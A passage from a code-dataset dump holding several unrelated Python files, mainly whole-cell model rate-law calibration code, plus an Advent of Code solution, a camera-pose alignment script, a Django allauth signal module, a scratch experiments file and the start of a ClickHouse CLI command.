init_reaction = model.reactions.get_one(id='translation_initiation_' + mrna_kb.id)\n\n init_species_counts = {}\n \n init_species_counts[ribosome_complex.id] = ribosome_complex.distribution_init_concentration.mean\n init_species_counts[self._allowable_queue_len[mrna_kb.id][0].id] = self._allowable_queue_len[mrna_kb.id][1]\n\n for species in init_reaction.rate_laws[0].expression.species:\n init_species_counts[species.id] = species.distribution_init_concentration.mean\n model_Km = model.parameters.get_one(\n id='K_m_{}_{}'.format(init_reaction.id, species.species_type.id))\n if model_Km:\n if species.distribution_init_concentration.mean: \n model_Km.value = beta * species.distribution_init_concentration.mean \\\n / Avogadro.value / species.compartment.init_volume.mean\n model_Km.comments = 'The value was assumed to be {} times the concentration of {} in {}'.format(\n beta, species.species_type.id, species.compartment.name)\n else:\n model_Km.value = 1e-05\n model_Km.comments = 'The value was assigned to 1e-05 because the concentration of ' +\\\n '{} in {} was zero'.format(species.species_type.id, species.compartment.name) \n\n for func in init_reaction.rate_laws[0].expression.functions:\n for species in func.expression.species:\n init_species_counts[species.id] = species.distribution_init_concentration.mean\n for obs in func.expression.observables:\n for species in obs.expression.species: \n init_species_counts[species.id] = species.distribution_init_concentration.mean\n\n model_kcat = model.parameters.get_one(id='{}_ribosome_binding_constant'.format(mrna_kb.id))\n \n if average_rate: \n model_kcat.value = 1.\n eval_rate_law = init_reaction.rate_laws[0].expression._parsed_expression.eval({\n wc_lang.Species: init_species_counts,\n wc_lang.Compartment: init_compartment_volumes,\n })\n if eval_rate_law:\n model_kcat.value = average_rate / eval_rate_law\n determined_init_kcat.append(model_kcat.value)\n else:\n undetermined_init_kcat.append(model_kcat) \n else: \n model_kcat.value = 0.\n\n # Calibrate elongation reaction\n el_reaction = model.reactions.get_one(id='translation_elongation_' + mrna_kb.id)\n \n el_species_counts = {}\n \n for species in el_reaction.rate_laws[0].expression.species:\n el_species_counts[species.id] = species.distribution_init_concentration.mean\n model_Km = model.parameters.get_one(\n id='K_m_{}_{}'.format(el_reaction.id, species.species_type.id))\n if model_Km:\n if species.distribution_init_concentration.mean: \n model_Km.value = beta * species.distribution_init_concentration.mean \\\n / Avogadro.value / species.compartment.init_volume.mean\n model_Km.comments = 'The value was assumed to be {} times the concentration of {} in {}'.format(\n beta, species.species_type.id, species.compartment.name)\n else:\n model_Km.value = 1e-05\n model_Km.comments = 'The value was assigned to 1e-05 because the concentration of ' +\\\n '{} in {} was zero'.format(species.species_type.id, species.compartment.name) \n \n for func in el_reaction.rate_laws[0].expression.functions: \n for species in func.expression.species:\n el_species_counts[species.id] = species.distribution_init_concentration.mean\n for obs in func.expression.observables:\n for species in obs.expression.species: \n el_species_counts[species.id] = species.distribution_init_concentration.mean\n\n model_kcat = model.parameters.get_one(id='k_cat_{}'.format(el_reaction.id))\n\n if average_rate: \n model_kcat.value = 1.\n eval_rate_law = el_reaction.rate_laws[0].expression._parsed_expression.eval({\n wc_lang.Species: el_species_counts,\n wc_lang.Compartment: init_compartment_volumes,\n })\n if eval_rate_law:\n model_kcat.value = average_rate / eval_rate_law\n determined_el_kcat.append(model_kcat.value)\n else:\n undetermined_el_kcat.append(model_kcat) \n else: \n model_kcat.value = 0.\n\n # Calibrate translocation reaction\n conc_per_comp = {}\n for protein in protein_model.species:\n conc_per_comp[protein.compartment] = protein.distribution_init_concentration.mean\n for cplx_st, stoic in complex_model_stoic.items():\n for cplx_species in cplx_st.species:\n if cplx_species.distribution_init_concentration:\n if cplx_species.compartment in conc_per_comp:\n conc_per_comp[cplx_species.compartment] += stoic * \\\n cplx_species.distribution_init_concentration.mean\n else: \n conc_per_comp[cplx_species.compartment] = stoic * \\\n cplx_species.distribution_init_concentration.mean\n \n translation_compartment = cytosol if mrna_kb_compartment_id == 'c' else mitochondrion\n\n for compartment, trans_reaction in self._translocation_reactions[mrna_kb].items():\n trans_species_counts = {}\n \n for species in trans_reaction.rate_laws[0].expression.species:\n trans_species_counts[species.id] = species.distribution_init_concentration.mean\n model_Km = model.parameters.get_one(\n id='K_m_{}_{}'.format(trans_reaction.id, species.species_type.id))\n if model_Km:\n if species.distribution_init_concentration.mean: \n model_Km.value = beta * species.distribution_init_concentration.mean \\\n / Avogadro.value / species.compartment.init_volume.mean\n model_Km.comments = 'The value was assumed to be {} times the concentration of {} in {}'.format(\n beta, species.species_type.id, species.compartment.name)\n else:\n model_Km.value = 1e-05\n model_Km.comments = 'The value was assigned to 1e-05 because the concentration of ' +\\\n '{} in {} was zero'.format(species.species_type.id, species.compartment.name) \n \n for func in trans_reaction.rate_laws[0].expression.functions:\n for species in func.expression.species:\n trans_species_counts[species.id] = species.distribution_init_concentration.mean\n for obs in func.expression.observables:\n for species in obs.expression.species: \n trans_species_counts[species.id] = species.distribution_init_concentration.mean\n\n model_kcat = model.parameters.get_one(id='k_cat_{}'.format(trans_reaction.id))\n\n if average_rate: \n model_kcat.value = 1.\n eval_rate_law = trans_reaction.rate_laws[0].expression._parsed_expression.eval({\n wc_lang.Species: trans_species_counts,\n wc_lang.Compartment: init_compartment_volumes,\n })\n if eval_rate_law:\n model_kcat.value = conc_per_comp[compartment] / conc_per_comp[translation_compartment] * \\\n average_rate / eval_rate_law\n determined_transloc_kcat.append(model_kcat.value)\n else:\n undetermined_transloc_kcat.append(model_kcat) \n else: \n model_kcat.value = 0. \n \n median_init_kcat = numpy.median(determined_init_kcat)\n if not numpy.isnan(median_init_kcat): \n for model_kcat in undetermined_init_kcat:\n model_kcat.value = median_init_kcat\n model_kcat.comments = 'Set to the median value because it could not be determined from data'\n else:\n for model_kcat in undetermined_init_kcat:\n model_kcat.value = 1.\n model_kcat.comments = 'Set to 1 because it could not be determined from median value' \n\n median_el_kcat = numpy.median(determined_el_kcat)\n if not numpy.isnan(median_el_kcat):\n for model_kcat in undetermined_el_kcat:\n model_kcat.value = median_el_kcat\n model_kcat.comments = 'Set to the median value because it could not be determined from data'\n else:\n for model_kcat in undetermined_el_kcat:\n model_kcat.value = 1.\n model_kcat.comments = 'Set to 1 because it could not be determined from median value' \n\n median_transloc_kcat = numpy.median(determined_transloc_kcat)\n if not numpy.isnan(median_transloc_kcat):\n for model_kcat in undetermined_transloc_kcat:\n model_kcat.value = median_transloc_kcat\n model_kcat.comments = 'Set to the median value because it could not be determined from data'\n else:\n for model_kcat in undetermined_transloc_kcat:\n model_kcat.value = 1.\n model_kcat.comments = 'Set to 1 because it could not be determined from median value'\n\n def _import_cytosolic_trna_into_mitochondria(self, cytosolic_trna_ids):\n \"\"\" Create reactions and rate laws for importing cytosolic tRNAs into the mitochondria.\n The concentrations of imported tRNAs in the mitochondria are set based on\n the provided fraction and the rates of transport are calibrated accordingly to achieve\n steady-states\n\n Args:\n cytosolic_trna_ids (:obj:`list`): list of species type IDs of cytosolic tRNAa to be\n imported into the mitochondria\n \"\"\"\n kb = self.knowledge_base \n model = self.model\n submodel = self.submodel\n beta = self.options['beta']\n mitochondrial_cytosolic_trna_partition = self.options['mitochondrial_cytosolic_trna_partition']\n mitochondrial_exosome = self.options['mitochondrial_exosome']\n\n cytosol = model.compartments.get_one(id='c')\n mitochondria = model.compartments.get_one(id='m')\n \n rna_deg_submodel = model.submodels.get_one(id='rna_degradation')\n exosome_species = model.species_types.get_one(\n name=mitochondrial_exosome).species.get_one(compartment=mitochondria)\n\n Avogadro = model.parameters.get_or_create(\n id='Avogadro',\n type=None,\n value=scipy.constants.Avogadro,\n units=unit_registry.parse_units('molecule mol^-1')) \n\n for trna_id in cytosolic_trna_ids:\n\n trna_species_type = model.species_types.get_one(id=trna_id)\n\n if not trna_species_type.species.get_one(compartment=mitochondria):\n\n cyto_trna_species = trna_species_type.species.get_one(compartment=cytosol)\n total_conc = cyto_trna_species.distribution_init_concentration.mean\n cyto_trna_species.distribution_init_concentration.mean = total_conc * \\\n (1 - mitochondrial_cytosolic_trna_partition)\n cyto_trna_species.distribution_init_concentration.comments = \\\n 'Value is adjusted to account for import into the mitochondria'\n\n mito_trna_species = model.species.get_or_create(\n species_type=trna_species_type, compartment=mitochondria)\n mito_trna_species.id = mito_trna_species.gen_id()\n\n conc_model = model.distribution_init_concentrations.create(\n species=mito_trna_species,\n mean=total_conc * mitochondrial_cytosolic_trna_partition,\n units=unit_registry.parse_units('molecule'),\n comments='Value is set to {} of the total cellular concentration'.format(\n mitochondrial_cytosolic_trna_partition),\n )\n conc_model.id = conc_model.gen_id()\n\n # Generate import reaction\n import_reaction = model.reactions.create(\n submodel=self.submodel, id='trna_import_{}'.format(trna_id),\n name='import of {} into the mitochondria'.format(trna_id),\n reversible=False)\n import_reaction.participants.append(\n cyto_trna_species.species_coefficients.get_or_create(coefficient=-1))\n import_reaction.participants.append(\n mito_trna_species.species_coefficients.get_or_create(coefficient=1))\n\n # Generate rate law for import reaction\n import_constant = model.parameters.create(\n id='{}_import_constant'.format(trna_id),\n type=None,\n units=unit_registry.parse_units('molecule^-1 s^-1'),\n )\n expression = '{} * {}'.format(import_constant.id, cyto_trna_species.id)\n\n import_rate_law_expression, error = wc_lang.RateLawExpression.deserialize(expression, {\n wc_lang.Species: {cyto_trna_species.id: cyto_trna_species},\n wc_lang.Parameter: {import_constant.id: import_constant},\n })\n assert error is None, str(error)\n\n import_rate_law = model.rate_laws.create(\n direction=wc_lang.RateLawDirection.forward,\n type=None,\n expression=import_rate_law_expression,\n reaction=import_reaction,\n units=unit_registry.parse_units('s^-1'), \n )\n import_rate_law.id = import_rate_law.gen_id()\n\n # Calibrate import rate\n rna_kb = kb.cell.species_types.get_one(id=trna_id)\n half_life = rna_kb.properties.get_one(property='half-life').get_value()\n mean_doubling_time = model.parameters.get_one(id='mean_doubling_time').value\n average_rate = utils.calc_avg_syn_rate(\n total_conc, half_life, mean_doubling_time)\n \n import_constant.value = 1.\n eval_rate_law = import_rate_law_expression._parsed_expression.eval({\n wc_lang.Species: {cyto_trna_species.id: total_conc * \\\n (1 - mitochondrial_cytosolic_trna_partition)}\n })\n if eval_rate_law:\n import_constant.value = mitochondrial_cytosolic_trna_partition / \\\n (1 - mitochondrial_cytosolic_trna_partition) * \\\n average_rate / eval_rate_law\n else: \n import_constant.value = 0.\n\n # Generate degradation reaction for imported tRNA\n metabolic_participants = ['amp', 'cmp', 'gmp', 'ump', 'h2o', 'h']\n metabolites = {}\n for met in metabolic_participants:\n met_species_type = model.species_types.get_one(id=met)\n metabolites[met] = met_species_type.species.get_or_create(\n compartment=mitochondria, model=model)\n\n reaction = model.reactions.get_or_create(submodel=rna_deg_submodel, \n id='degradation_{}_{}'.format(trna_id, mitochondria.id))\n reaction.name = 'degradation of {} in mitochondria'.format(trna_species_type.name)\n \n if trna_id in gvar.transcript_ntp_usage:\n ntp_count = gvar.transcript_ntp_usage[trna_id]\n else:\n seq = rna_kb.get_seq()\n ntp_count = gvar.transcript_ntp_usage[trna_id] = {\n 'A': seq.upper().count('A'),\n 'C': seq.upper().count('C'),\n 'G': seq.upper().count('G'),\n 'U': seq.upper().count('U'),\n 'len': len(seq)\n } \n # Adding participants to LHS\n reaction.participants.append(mito_trna_species.species_coefficients.get_or_create(\n coefficient=-1))\n reaction.participants.append(metabolites['h2o'].species_coefficients.get_or_create(\n coefficient=-(ntp_count['len']-1)))\n # Adding participants to RHS\n reaction.participants.append(metabolites['amp'].species_coefficients.get_or_create(\n coefficient=ntp_count['A']))\n reaction.participants.append(metabolites['cmp'].species_coefficients.get_or_create(\n coefficient=ntp_count['C']))\n reaction.participants.append(metabolites['gmp'].species_coefficients.get_or_create(\n coefficient=ntp_count['G']))\n reaction.participants.append(metabolites['ump'].species_coefficients.get_or_create(\n coefficient=ntp_count['U']))\n reaction.participants.append(metabolites['h'].species_coefficients.get_or_create(\n coefficient=ntp_count['len']-1)) \n \n # Generate rate law for degradation reaction of imported tRNA\n rate_law_exp, _ = utils.gen_michaelis_menten_like_rate_law(\n model, reaction, modifiers=[exosome_species], \n exclude_substrates=[metabolites['h2o']])\n \n rate_law = model.rate_laws.create(\n direction=wc_lang.RateLawDirection.forward,\n type=None,\n expression=rate_law_exp,\n reaction=reaction,\n )\n rate_law.id = rate_law.gen_id()\n \n # Calibrate degradation reaction of imported tRNA\n cyto_deg_reaction = rna_deg_submodel.reactions.get_one(id='degradation_' + rna_kb.id)\n cyto_species_counts = {species.id: species.distribution_init_concentration.mean \\\n for species in cyto_deg_reaction.rate_laws[0].expression.species}\n cyto_deg_rate = cyto_deg_reaction.rate_laws[0].expression._parsed_expression.eval({\n wc_lang.Species: cyto_species_counts,\n wc_lang.Compartment: {\n cytosol.id: cytosol.init_volume.mean * \\\n cytosol.init_density.value}\n }) \n total_deg_rate = utils.calc_avg_deg_rate(total_conc, half_life)\n mito_deg_rate = total_deg_rate - cyto_deg_rate\n\n mito_species_counts = {exosome_species.id: exosome_species.distribution_init_concentration.mean}\n for species in reaction.get_reactants():\n\n mito_species_counts[species.id] = species.distribution_init_concentration.mean\n\n if model.parameters.get(id='K_m_{}_{}'.format(reaction.id, species.species_type.id)):\n model_Km = model.parameters.get_one(\n id='K_m_{}_{}'.format(reaction.id, species.species_type.id))\n if species.distribution_init_concentration.mean:\n model_Km.value = beta * species.distribution_init_concentration.mean \\\n / Avogadro.value / species.compartment.init_volume.mean\n model_Km.comments = 'The value was assumed to be {} times the concentration of {} in {}'.format(\n beta, species.species_type.id, species.compartment.name)\n else:\n model_Km.value = 1e-05\n model_Km.comments = 'The value was assigned to 1e-05 because the concentration of ' +\\\n '{} in {} was zero'.format(species.species_type.id, species.compartment.name)\n\n model_kcat = model.parameters.get_one(id='k_cat_{}'.format(reaction.id))\n\n if mito_deg_rate: \n model_kcat.value = 1.\n eval_rate_law = reaction.rate_laws[0].expression._parsed_expression.eval({\n wc_lang.Species: mito_species_counts,\n wc_lang.Compartment: {\n mitochondria.id: mitochondria.init_volume.mean * \\\n mitochondria.init_density.value}\n })\n if eval_rate_law:\n model_kcat.value = mito_deg_rate / eval_rate_law\n else:\n model_kcat.value = 0. \n else: \n model_kcat.value = 0.\n","repo_name":"KarrLab/wc_model_gen","sub_path":"wc_model_gen/eukaryote/translation_translocation.py","file_name":"translation_translocation.py","file_ext":"py","file_size_in_byte":85923,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"10127738859","text":"from utilities.utils import Puzzle\n\n\n# Create Puzzle object\nPUZZLE: Puzzle = Puzzle(\n example_1=37,\n example_2=168,\n input_parse_line=lambda i: str(i),\n input_parse_overall=lambda i: [int(j) for j in i[0].split(\",\")]\n)\n\n\n# Puzzle 1\ndef puzzle_1(p_input: list):\n fuels: list = []\n for i in range(min(p_input), max(p_input)+1):\n fuels.append([i, 0])\n for pos in p_input:\n fuels[-1][1] += abs(i - pos)\n return min(fuels, key=lambda x: x[1])[1]\n\n\n# Puzzle 2\ndef puzzle_2(p_input: list):\n fuels: list = []\n for i in range(min(p_input), max(p_input) + 1):\n fuels.append([i, 0])\n for pos in p_input:\n fuels[-1][1] += (1+abs(i - pos))*abs(i - pos)/2\n return int(min(fuels, key=lambda x: x[1])[1])\n\n\n# Print final answers\nprint(f\"Puzzle 1 Answer:\\n{PUZZLE.solve(1, puzzle_1)}\")\nprint()\nprint(f\"Puzzle 2 Answer:\\n{PUZZLE.solve(2, puzzle_2)}\")\n","repo_name":"ytchang05/AdventOfCode","sub_path":"2021/day7/day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"18652763123","text":"import numpy as np\nimport os\nimport glob\nfrom scipy.spatial.transform import Rotation as R\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib\nmatplotlib.use(\"Qt5Agg\")\n\n\ndef get_outliers(values, max_deviations=2):\n mean = np.mean(values)\n standard_deviation = np.std(values)\n distance_from_mean = abs(values - mean)\n outliers = distance_from_mean > max_deviations * standard_deviation\n idxs = np.where(outliers)[0]\n return outliers, idxs\n\ndef upright_rotation(vertical_cam_axis, vertical_world_axis):\n v = np.cross(vertical_cam_axis, vertical_world_axis)\n s = np.linalg.norm(v)\n c = np.dot(vertical_cam_axis, vertical_world_axis)\n vx = np.array([[0, -v[2], v[1]], [v[2], 0, -v[0]], [-v[1], v[0], 0]])\n r = np.eye(3) + vx + (vx @ vx) * (1 - c) / (s ** 2)\n return r\n\n\ndef plot_axis(ax, rots, idx=0, wrt=np.eye(3)):\n zero = np.zeros(3)\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_zticks([])\n custom_lines = [plt.Line2D([0], [0], color='k', lw=2),\n plt.Line2D([0], [0], color='r', lw=2)]\n ax.legend(custom_lines, [\"skybox\", \"closest tripod\"])\n x, y, z = zip(zero, wrt[:, 0])\n ax.plot(x, y, z, 'k', zdir='y', linewidth=2)\n ax.text(x[-1], z[-1], y[-1], 'X', 'y', color='k')\n x, y, z = zip(zero, -wrt[:, 1])\n ax.plot(x, y, z, 'k', zdir='y', linewidth=2)\n ax.text(x[-1], z[-1], y[-1], 'Y', 'y', color='k')\n x, y, z = zip(zero, wrt[:, 2])\n ax.plot(x, y, z, 'k', zdir='y', linewidth=2)\n ax.text(x[-1], z[-1], y[-1], 'Z', 'y', color='k')\n x, y, z = zip(zero, rots[idx, :, 0])\n ax.plot(x, y, z, 'r', zdir='y', linewidth=2)\n ax.text(x[-1], z[-1], y[-1], 'X', 'y', color='r')\n x, y, z = zip(zero, -rots[idx, :, 1])\n ax.plot(x, y, z, 'r', zdir='y', linewidth=2)\n ax.text(x[-1], z[-1], y[-1], 'Y', 'y', color='r')\n x, y, z = zip(zero, rots[idx, :, 2])\n ax.plot(x, y, z, 'r', zdir='y', linewidth=2)\n ax.text(x[-1], z[-1], y[-1], 'Z', 'y', color='r')\n ax.set_xlim(-1, 1)\n ax.set_ylim(-1, 1)\n ax.set_zlim(-1, 1)\n\n\ndef plot_rotated_cs(rots, wrt=np.eye(3)):\n fig = plt.figure()\n if rots.ndim >= 3:\n for i in range(0, 3):\n for j in range(0, 6):\n idx = i*6 + j\n ax = fig.add_subplot(3, 6, idx+1, projection='3d')\n plot_axis(ax, rots, idx=idx, wrt=wrt)\n else:\n ax = fig.add_subplot(1, 1, 1, projection='3d')\n plot_axis(ax, rots[None, ...], wrt=wrt)\n # plt.show()\n\n\ndef parse_tripod(conf_file, uuids):\n tripod_poses = {}\n with open(conf_file) as f:\n content = f.readlines()\n for uuid in uuids:\n uuid_imgs = [line.splitlines() for line in content if uuid in line]\n poses = [np.array(line[0].split(' ')[3:]).astype(np.float64).reshape(4, 4) for line in uuid_imgs]\n rots = np.array([R.from_matrix(pose[:3, :3]).as_quat() for pose in poses])\n centers = np.array([pose[:3, 3] for pose in poses])\n tripod_poses[uuid] = np.hstack((centers, rots))\n\n return tripod_poses\n\n\ndef parse_skybox(conf_file):\n skybox_poses = {}\n with open(conf_file) as f:\n content = [line.rstrip() for line in f]\n uuids = [line.splitlines()[0].split(\" \")[1].split(\"_\")[0] for line in content if line[0][0] != \"#\"]\n uuids = np.unique(np.array(uuids))\n for uuid in uuids:\n for line in content:\n if uuid in line and \"_18_rgb\" in line:\n skybox_poses[uuid] = np.array(line.split(' ')[2:]).astype(np.float64)\n\n return uuids, skybox_poses\n\n\nscan_path = \"/media/manuel/Elements/PHD/matterport/data/v1/scans\"\nsequences = [os.path.basename(os.path.dirname(element)) for element in glob.glob(os.path.join(scan_path, \"*\", \"\"))]\nsequences.sort()\nfor idx_building, seq in enumerate(sequences):\n print(seq)\n tripod_poses_p = os.path.join(scan_path, \"{}/undistorted_camera_parameters/{}.conf\".format(seq, seq))\n skybox_poses_p = os.path.join(scan_path, \"{}/SfM_poses_procrustes.txt\".format(seq))\n\n uuids, skybox_poses = parse_skybox(skybox_poses_p)\n tripod_poses = parse_tripod(tripod_poses_p, uuids)\n\n skybox_inferred_poses = {}\n center_dif = {}\n rot_difs = {}\n for key in skybox_poses.keys():\n sk = skybox_poses[key]\n tripod = tripod_poses[key]\n center_dif_per_sample = np.min(np.sum(np.abs(tripod[:, 0:3] - sk[0:3]), axis=1))\n argmin_sample = np.argmin(np.sum(np.abs(tripod[:, 0:3] - sk[0:3]), axis=1))\n center_dif_mean = np.sum(np.abs(np.mean(tripod[:, 0:3], axis=0) - sk[0:3]))\n center_dif_central_ring = np.sum(np.abs(np.mean(tripod[6:12, 0:3], axis=0) - sk[0:3]))\n center_dif[key] = np.hstack((center_dif_per_sample, argmin_sample, center_dif_mean, center_dif_central_ring))\n\n rot_sk = sk[3:]\n rot_tripod = tripod[:, 3:]\n upright_rots = [upright_rotation(R.from_quat(rot_tripod[i]).as_matrix() @ np.array([0, 1, 0]), np.array([0, 0, 1]))\n for i in range(0, rot_tripod.shape[0])]\n upright_rots = np.stack(upright_rots)\n rot_tripod_wrt_sk = R.from_quat(rot_sk).as_matrix().T @ (upright_rots @ R.from_quat(rot_tripod).as_matrix())\n # plot_rotated_cs(rot_tripod_wrt_sk)\n # plot_rotated_cs(R.from_euler('XYZ', [0, np.pi*0.5, 0]).as_matrix() @ rot_tripod_wrt_sk[8])\n rot_dif = R.from_quat(rot_sk).as_matrix() @ (R.from_euler('XYZ', [0, 0, np.pi*0.5]).as_matrix() @ R.from_quat(rot_tripod[8]).as_matrix()).T\n ang_dif = np.degrees(np.arccos((np.trace(rot_dif) - 1)*0.5))\n rot_difs[key] = ang_dif\n inferred_rot = R.from_matrix(R.from_euler('XYZ', [0, 0, np.pi*0.5]).as_matrix() @ upright_rots[8] @ R.from_quat(rot_tripod[8]).as_matrix())\n inferred_pose = np.hstack((np.mean(tripod[6:12, 0:3], axis=0), inferred_rot.as_quat()))\n skybox_inferred_poses[key] = inferred_pose\n\n outliers, idxs = get_outliers(np.array(list(center_dif.values()))[:, 0])\n\n txt_file = os.path.join(scan_path, \"{}/skybox_camera_parameters.txt\".format(seq))\n with open(txt_file, 'w') as f:\n f.write(\"#index filename center.x center.y center.z quat_wc.x quat_wc.y quat_wc.z quat_wc.w\\n\")\n for idx, (key, value) in enumerate(skybox_poses.items()):\n if idx in idxs:\n continue\n f.write(\"{} {} {} {} {} {} {} {} {}\\n\".format(idx, key, value[0], value[1], value[2], value[3], value[4], value[5],\n value[6]))\n\n # df = pd.DataFrame.from_dict(rot_difs, orient=\"index\")\n # df.to_csv(\"/home/manuel/Desktop/data.csv\")\n # plt.plot(range(0, center_dif.keys().__len__()), np.array(list(center_dif.values()))[:, 0], 'ro')\n # plt.plot(range(0, center_dif.keys().__len__()), np.array(list(center_dif.values()))[:, 2], 'bo')\n # plt.plot(range(0, center_dif.keys().__len__()), np.array(list(center_dif.values()))[:, 3], 'yo')\n # plt.legend([\"per sample\", \"mean three rings\", \"mean central ring\"])\n # plt.show()\n # print(\"hola\")\n\n\n\n","repo_name":"manurare/matterport3D-skybox-poses","sub_path":"skybox_tripod_relation.py","file_name":"skybox_tripod_relation.py","file_ext":"py","file_size_in_byte":7036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"8103470826","text":"from allauth.account.utils import perform_login\nfrom allauth.socialaccount.helpers import _social_login\nfrom allauth.socialaccount.models import SocialAccount\nfrom allauth.socialaccount.providers.orcid.provider import OrcidProvider\nfrom django.db.models.signals import post_save, pre_social_login, receiver\n\n\n@receiver(post_save, sender=SocialAccount, dispatch_uid=\"link_orcid_account_to_author\")\ndef link_orcid_account_to_author(sender, instance, created, update_fields, **kwargs):\n if (instance.provider == OrcidProvider.id) and (\n created or check_uid_updated(update_fields)\n ):\n author = instance.user.author_profile\n author.orcid_account = instance\n author.save(update_fields=[\"orcid_account\"])\n\n\ndef check_uid_updated(update_fields):\n if update_fields is not None:\n return \"uid\" in update_fields\n\n\n@receiver(pre_social_login)\ndef link_to_existing_user(sender, request, sociallogin, **kwargs):\n user = request.user\n if user:\n # If the user exists, connect this new social login to that user\n sociallogin.connect(request, user)\n # Notify the system that we took care of this login attempt\n _social_login(request, sociallogin)\n # No user found, continue with regular login process\n","repo_name":"kerkelae/researchhub-backend","sub_path":"src/oauth/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"34331861209","text":"import numpy as np\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nimport cv2\nimport collections\nimport time\n# import torch\nfrom mtcv import histEqualize\nimport os\nimport logging\nfrom mtcv.image import resize\n\n\n\n# img_path=\"D:/AerialGoaf/detail/512x512/label\"\n# name='0107_38.png'\n# img=Image.open(os.path.join(img_path,name))\n# arr = np.array(img)\n# mask=np.sum(arr)\n# rate=mask/(512*512)\n# a=1\n#\n#\n# bgr=np.zeros((500,500,3),dtype=np.uint8)\n# cv2.putText(bgr,\"Test\",(0,100),\n# cv2.FONT_HERSHEY_SCRIPT_SIMPLEX, 5,\n# color=(0, 0, 255), thickness=3)\n# cv2.imshow(\"bgr\",bgr)\n# cv2.waitKey()\n\n\n\n\n\nx=torch.arange(0,8).view(2,4)\ny=torch.arange(100,112).view(3,4)\nc=x[None,:,:]+y[:,None,:]\nd=c.view(-1,4)\n\n\nratios=[0.5,1,2]\nscales=[8,16,32]\nscale =torch.Tensor(scales)\nratio=torch.Tensor(ratios)\nw=4\nr=ratio[:,None]\ns=scale[None,:]\nres=w*r*s\nres_=res.view(-1)\nprint(res)\n\n\narr=np.arange(0,20).reshape(4,5)\nfor i in arr:\n print(i)\n\na=[3,7,13,20,30,40]\nb=[1,3,4]\nc=[a[i] for i in b]\n\na=list(range(10,0,-1))\nprint(a)\n\ndef yiled_demo(a,b):\n for i in range(len(a)):\n c=a[i]*b[i]\n d=a[i]*b[i]*c\n yield c,d\n\na=[1,2,3,4,5]\nb=[6,7,8,9,10]\ng=yiled_demo(a,b)\nfor i in range(len(a)):\n print(g.__next__())\n\n\n# 图像输出质量决定\nimg=cv2.imread('D:\\stitch_test\\line17_stitch/Line17_up_20190411032624_128_33km+462.6m_forward.jpg')\ncv2.imwrite(\"src_66.jpg\",img,[int(cv2.IMWRITE_JPEG_QUALITY),40])\n\nconcat_width=500\nimg_h=4000\n\nrgb = np.zeros((img_h,concat_width,3), dtype=np.uint8)\n\ncv2.putText(rgb,\"#224\",(20,200),cv2.FONT_HERSHEY_SCRIPT_SIMPLEX,5,color=(0,0,255),thickness=3)\n# cv2.imwrite(\"rgb.jpg\",rgb)\ncv2.namedWindow(\"img\",cv2.WINDOW_NORMAL)\ncv2.imshow(\"img\",rgb)\ncv2.waitKey()\n\n\na=['1','2','3','4','5']\nb=['a','b','c','d','e']\na_arr=np.array(a)\nb_arr=np.array(b)\nc=np.stack((a_arr,b_arr))\n\n\nimg=\"1_Line17_up_20190411033847_911_25km+381.3m_forward.jpg\"\nimg_arr=img.split('_')\nnew=\"_\".join(img_arr[1:])\n\n\nimg=cv2.imread(img)\nimg=histEqualize(img,space='rgb',clipLimit=10)\ncv2.namedWindow(\"img\",cv2.WINDOW_NORMAL)\ncv2.imshow(\"img\",img)\ncv2.waitKey()\n\n\n\n\n# def show_CLAHE(path):\n# path=\n\n\n\n\nfile=os.listdir(\"D:/tmp/test\")\nfile.sort(key=lambda x:x[:-4])\n\n# a=max(None,None)\n\n\n\na=[1,1,1,2,2,3,4,5,1,2,7,5,3,2]\ni=0\nwhile True:\n j=i+1\n while True:\n if a[i]==a[j]:\n del a[j]\n else:\n j+=1\n if j >= len(a):\n break\n i+=1\n if i == len(a)-1:\n break\nprint(a)\n\n\n\n\n\nfor i in range(0):\n print(0)\na=[1,2,3]\nb=[4,5,6]\nc=a+b\n\n\n\nx=torch.arange(0,8).view(2,4)\ny=torch.arange(100,112).view(3,4)\nc=x[None,:,:]+y[:,None,:]\nd=c.view(-1,4)\n\n\nratios=[0.5,1,2]\nscales=[8,16,32]\nscale =torch.Tensor(scales)\nratio=torch.Tensor(ratios)\nw=4\nr=ratio[:,None]\ns=scale[None,:]\nres=w*r*s\nres_=res.view(-1)\nprint(res)\n\n\n\nclass A(object):\n def __init__(self,name):\n self._name=name\n self._module_dict=dict()\n\n @property\n def name(self):\n return self._name\n\n @property\n def module_dict(self):\n return self._module_dict\n\n def _register(self,module_class):\n self._module_dict[\"wang\"]=module_class\n\n\n def register(self,cls):\n self._register(cls)\n return cls\n\ncls_A=A('loss')\n\n@cls_A.register\nclass B(object):\n def __init__(self):\n print('haha')\n\n @property\n def hehe(self):\n return self.b\n\ncls_c = cls_A.module_dict['wang']\nd=cls_c.hehe\n\nprint(cls_c)\n\ndebug=1\n\n\n\n\n\n# cap=cv2.VideoCapture(0)\n# while True:\n# ret,frame=cap.read()\n# cv2.imshow(\"frame\",frame)\n# if cv2.waitKey(1) &0xff== ord('q'):\n# break\n\n","repo_name":"YLyeliang/miscellaneous","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"2266523216","text":"from click import argument, group, option, pass_context\n\nfrom ch_tools.chadmin.internal.utils import execute_query\n\n\n@group(\"thread-log\")\ndef thread_log_group():\n \"\"\"\n Commands for retrieving information from system.query_thread_log.\n \"\"\"\n pass\n\n\n@thread_log_group.command(\"list\")\n@argument(\"query_id\")\n@option(\"--date\")\n@option(\"--min-date\")\n@option(\"--max-date\")\n@option(\"--min-time\")\n@option(\"--max-time\")\n@option(\"-v\", \"--verbose\", is_flag=True, help=\"Verbose mode.\")\n@pass_context\ndef list_threads_command(\n ctx, query_id, date, min_date, max_date, min_time, max_time, verbose\n):\n min_date = min_date or date\n max_date = max_date or date\n print(\n get_threads(\n ctx,\n query_id=query_id,\n 